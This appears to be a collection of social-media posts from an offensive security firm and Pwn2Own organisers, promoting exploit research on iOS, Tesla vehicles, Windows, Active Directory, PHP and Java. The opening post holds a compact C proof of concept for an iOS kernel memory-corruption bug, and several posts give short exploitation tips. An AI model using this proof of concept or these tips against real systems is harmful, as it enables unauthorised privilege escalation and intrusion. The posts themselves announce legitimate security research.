The PoC is even tweetable ;)
void *C(void* a){thread_set_exception_ports(mach_thread_self(),EXC_MASK_ALL,*(int *)a,2,6);__builtin_trap();return a;}
int main(){int p=mk_timer_create();mach_port_insert_right(mach_task_self(),p,p,20);pthread_t t;pthread_create(&t,0,C,&p);for(;;);}
iOS 15.4 fixes a kernel vulnerability introduced in iOS 15.0 beta that causes corruption of ipc_kmsgs leading to powerful primitives that can be used for local privilege escalation from WebContent and app sandbox
To facilitate reverse-engineering of large programs, vulnerability research and root-cause analysis on iOS, Android, and other major platforms,
@myr463
and
@Hexabeast
released Frinet, a tool combining Frida with an enhanced version of Tenet.
If you see two guys wearing Synacktiv t-shirts with big antennas, you should turn around with your
@Tesla
! 0-click RCE demonstration on a real vehicle, with CAN messages sent to switch on headlights, wipers and trunk 😎
#Pwn2Own
As no details are available yet, our expert
@0xf4b
started investigating one of the three iOS vulnerabilities that are exploited in the wild and fixed by version 14.2.
You can read the story in our latest blogpost!
We are in 2021 and SFTP access will never grant you a PTY. But you may still be able to use it to forward data to local ports, remote ports and to Unix domain sockets.
A Remote Code Execution is then never far away!
#synacktips
After having finished their exploit in an hotel room,
@_p0ly_
and
@vdehors
successfully compromised the Tesla Model 3 infotainment through bluetooth and elevated their privileges to root!
Combined with the previous entry, this could have been a full chain to take over the car!
Return of the iOS sandbox escape: lightspeed's back in the race!! The XNU bug
@JohnCool__
described last year was reintroduced and is still exploitable in the last version of iOS, as shown by
@unc0verTeam
:
Have you ever wondered what the attack surface of Counter Strike: Global Offensive looks like? Our ninjas
@myr463
and
@v1csec
studied it and found a server to client bug! Read more details about this research in our latest blogpost.
After many days (and nights!) of hard work, we're really proud to see
@_p0ly_
and
@vdehors
target the
@Tesla
Model 3 at
#Pwn2Own
! Draw will take place on Tuesday, send us all your good vibes 💪
During a recent Active Directory intrusion test,
@croco_byte
was led to devise a new versatile attack vector targeting Group Policy Objects, allowing their exploitation through NTLM relaying.
Beside LSASS, are you sure to loot every available secrets on your compromised Windows host? In our latest blogpost,
@l4x4
summarizes the techniques and tools to ensure you do not miss any:
Despite an active console hacking community, only few public PS4 exploits have been released. Our experts
@abu_y0ussef
and
@0xdagger
gave a talk at
#BlackHat
Europe on the exploitation of a 0-day browser vulnerability.
With iOS 13.5.1, Apple killed LightSpeed/
@unc0verTeam
... but Anakin may still crash your iPhone with a racy memleak!
More info in our follow up blogpost:
Ever wanted to exploit a PHP file inclusion without having a file upload? Follow
@_remsio_
's journey to discover PHP filter chains, ensuring they work properly, and transforming them into a tool. You can now convert almost any file inclusion to RCE!
We've just presented at
@sstic
how a 1-day vulnerability in Samsung Trustzone can be used to rewrite the Shannon baseband memory and install a debugger on a Galaxy S7 phone.
The PDF 🇬🇧 and talk 🇫🇷 are here:
The tools are here:
That’s a wrap for
#P2OVancouver
! Contestants disclosed 27 unique 0-days and won a combined $1,035,000 (and a car)! Congratulations to the Masters of Pwn,
@Synacktiv
, for their huge success and hard work! They earned 53 points, $530,000, and a Tesla Model 3.
#Pwn2Own
We've just presented at
@sstic
a new exploitation technique using a heap overflow in Windows 10 Kernel Pool.
The PDF 🇬🇧 and talk 🇫🇷 are here:
The code of the exploit is here:
Have you ever wanted to extract, decode and decrypt all NTDS.dit data? We are glad to share with you a new tool: ntdissector by
@kalimer0x00
and
@Julien_Legras
, powered by the awesome lib dissect.esedb from
@foxit
! More info in the blogpost:
We did it 😃! What a blast to be part of a team able to claim the title of Master of Pwn! Kudos to all other participants and to
@thezdi
for the flawless organization.
Let’s wait for the patches, then we’ll share the technical details with the community 🤙
A nice addition to our blogpost,
#BlackHat
has released the slides of
@abu_y0ussef
and
@0xdagger
"This is for the pwners - exploiting a webkit 0-day in Playstation 4"
Our ninja
@masthoon
solved a tough challenge during
@PotluckCTF
with an ingenious approach: he built a decompiler for a custom ISA by lifting instructions to Binary Ninja IL. Read the "Pot of Gold" write-up (kudos to
@bl4sty
for creating the challenge):
Are you a Red Teamer 3.0 trying to attack Azure Active Directory? Check out the latest blog post from
@bak_sec
describing its attack paths:
Of course, we advise you to read it as well if you're in the Blue Team!
Have you ever struggled with missing symbols while reversing a .NET native application such as UWP?
Have a look at .NIET, our new IDA Pro plugin!
cc
@HexRaysSA
Our ninja
@_Worty
identified a remote code execution from a privileged user in Cisco Access Point WAP371. This vulnerability referenced as CVE-2024-20287 will not be patched, apply network restrictions to protect your appliances.
For the 2nd time, our Ninjas
@abu_y0ussef
,
@netsecurity1
and
@cleptho
targeted the Canon printer 🖨️ during Pwn2Own Toronto. In this blogpost, you will discover how they achieved code execution, together with a PoC.
In our latest blogpost,
@croco_byte
presents an often overlooked AD attack surface related to OUs ACLs,with the release of a dedicated exploitation tool, ().
Excellent start for the team!
@_p0ly_
and
@vdehors
fully compromised the Tesla Model 3 gateway from the ethernet network 💪 We should book a new parking space now...
CONFIRMED!
@Synacktiv
successfully executed a TOCTOU exploit against Tesla – Gateway. They earn $100,000 as well as 10 Master of Pwn points and this Tesla Model 3.
#Pwn2Own
#P2OVancouver
🥷
#Pwn2Own
Tokyo. DMA attack as a first step of our security research on the Sonos One smart speaker. In order to dump the firmware. Find the detailed blogpost by
@_p0ly_
🤩
Finding
#Java
gadgets chains has never been so easy with the help of
#CodeQL
. Checkout our latest article, in which
@hugow_vincent
demonstrates a new technique to leverage the power of CodeQL to find new gadgets:
QLinspector:
Are you into Linux exploitation?
Read how
@vdehors
found and exploited a Local Privilege Escalation on Ubuntu Linux during
@thezdi
#Pwn2Own
2021, using a bug in the shiftFS filesystem driver.
Our ninjas
@yaumn_
and
@mickaelweb
recently assessed Microsoft Defender for Identity detection capabilities. In their recent blogpost, they describe the product's architecture, present some bypasses and give general Red Team advices.
The slides of the talk "Speedpwning VMware Workstation" by
@BrunoPujos
and
@OnlyTheDuck
are available!
Check them out if you missed their talk at
@ekoparty
2020!
We've spotted an interesting feature in the Samsung DSP driver on Galaxy S20/S21: untrusted Android apps can load custom firmware on the chip...
See how this feature can lead to arbitrary kernel write on our latest blogpost:
Interested in finding and exploiting vulnerabilities in old video games? If so, you'll love our latest blogpost on American Conquest by
@tomtombinary
!
#Pwn2Own
Tokyo 2020. This blogpost explains the details of our CVE-2021-27246, a remote code execution on TP-Link AC1750 Smart Wifi Router.
Exploit, wait, and get root!
During a security assessment, our team found an insecure deserialisation of PHAR archives in the Html2Pdf library <= 5.2.3. It could allow remote attackers able to input arbitrary HTML content to gain remote code execution on the server.
Takeover an entire domain by resetting passwords! We detailed how to exploit CVE-2021-40539 on ManageEngine ADSelfService Plus in this blogpost
@acervoise
-
@tiyeuse
In their latest blogpost,
@hugow_vincent
and
@loadlow
developed in-memory post-exploitation payloads to inject and hook common Java applications. Come and see the Java shenanigans involved to interact with the apps from the inside!
Ever wanted to understand PHP concepts in depth? This series of 2 articles by
@_remsio_
details a POP chain targeting the doctrine/doctrine-bundle package. In this first one, we aim to show a full methodology of POP chain research. Stay tuned for part 2!
In no time, the mighty
@elvanderb
pwned his favorite target: XNU, the Apple MacOS kernel! Rumor has it that he took more time developing the ASCII art than the actual exploit 🥷
#P2OVancouver
CONFIRMED!
@Synacktiv
used a heap overflow & an OOB write to exploit the Infotainment system on the Tesla. When they gave us the details, we determined they actually qualified for a Tier 2 award! They win $250,000 and 25 Master of Pwn points. 1st ever Tier 2 award. Stellar work!
Did you enjoy the latest blogpost on PHP filter chains? Well, our ninja
@_remsio_
strikes again with a new article detailing how you can abuse them to leak files from the targeted system, as well as a freshly developed tool to exploit it!
If you enjoy sailing the sea, beware!
@MajorTomSec
has found a critical security vulnerability in
@RaftSurvivaGame
, allowing 0-click RCE on any online player. The vendor has remained silent for 5 months, so here are the details:
Ever faced a WAF/EDR while exploiting a Java deserialization? Checkout our latest blogpost by
@loadlow
for a stealthier exploitation, exfiltration and persistence by diving deep into translets, transformers and more!
In our latest blogpost,
@croco_byte
explores the inner workings of SCCM policies and introduces , a tool targeting secret policies in order to exploit misconfigurations, harvest credentials, and pivot across collections by impersonating legitimate clients.
📱Dive into the inner workings of jemalloc new: one of the libc allocators used on modern
#Android
devices. Enhance your understanding of memory management with
@iksocin
!
First action when testing Symfony applications is to search app_dev.php.
This dev feature is so powerful that we've released to exploit it.
It's often restricted to localhost, but HTTP_CLIENT_IP, X-FORWARDED-FOR or a nice SSRF may help 😃
Have you ever tried to exploit CVE-2020-16952 (SSI on SharePoint by
@steventseeley
) and failed with “Unknown server tag 'WebPartPages:DataFormWebPart'”?
Well, just register the tag before using it!
#synacktivtips
In his latest blogpost,
@yaumn_
analyzes MDI's detection of PKINIT authentication, explains how to bypass it and releases Invoke-RunAsWithCert, a tool to perform Kerberos authentication via PKINIT with the Windows API from a non domain-joined machine.
Always scan for open proxies with nmap http-open-proxy script, to hit internal services and make your friend’s blind SSRF look really superfluous…
#synacktips
Our team targeted VMware Workstation with a guest-to-host escape during
#Pwn2Own
While we couldn't demonstrate the exploit in the allotted time,
@thezdi
find the vulnerability to be valid and purchased it 👏
Details in 120 days when fixed by
@VMware
!
FreeBSD just published a security advisory about a vulnerability we discovered in bhyve.
@abu_y0ussef
will present in an upcoming conference how he turned it into a VM escape!
Have you ever wondered how the IDA Lumina feature works, what kind of data is sent, and wished for a local server under your control?
@_johan_b_
wrote a blog post to answer these questions:
An offline server is also available:
Bored of managing multiple proxychains configurations?
@hugoclout
developed bbs, a swiss army knife proxy manager for red teamers! The project is available on our GitHub:
Exploit and firmware decryption script for Samsung Q60T TV presented at
@GrehackConf
by
@Karion_
and
@tlk___
has been pushed on Github!
Check this out:
W^X, ALSR, seccomp, cfi, PAC, *Guard... binary exploitation is harder and harder...
But most consumer grade devices are stuck in the 90's when it comes to embedded security, so let's have fun with a
#pwn2own
target:
Unable to extract your firmware to find vulnerabilities? Voltage glitching might be the solution. Dive in with
@___t0___
to see how it could be useful!
First part of a summer serie on writing your own symbolic execution engine, from scratch, complete with SMT solving, and, for a change, not in Python :)
By the legendary
@bartavelle
Obviously, cryptography can't protect you from everything, such as arbitrary code execution... especially when you leak the private key.
This is the story of a Typo3 CMS RCE by
@hugow_vincent
Rare are the pentesters who have never come across an up-to-date CMS installation during a 3 days audit, wondering what to do next. We are starting a blogpost series covering CMSs and web frameworks internals, with two articles by
@_bluesheet
Have you ever have come across a device implementing U-Boot? Didn't know where to start? In our latest blogpost,
@___t0___
explains why you should definitely dive into it:
During a security assessment, our ninja
@l4x4
identified multiple vulnerabilities on Cisco UCM allowing to gain code execution, escalating privileges to root and then escaping the SELinux context. Patch asap and read the details here:
During an audit,
@us3r777
and
@_remsio_
found a vulnerability in Geoserver WMS. They leveraged an SSRF and a CRLF injection to target a Redis server and obtain RCE!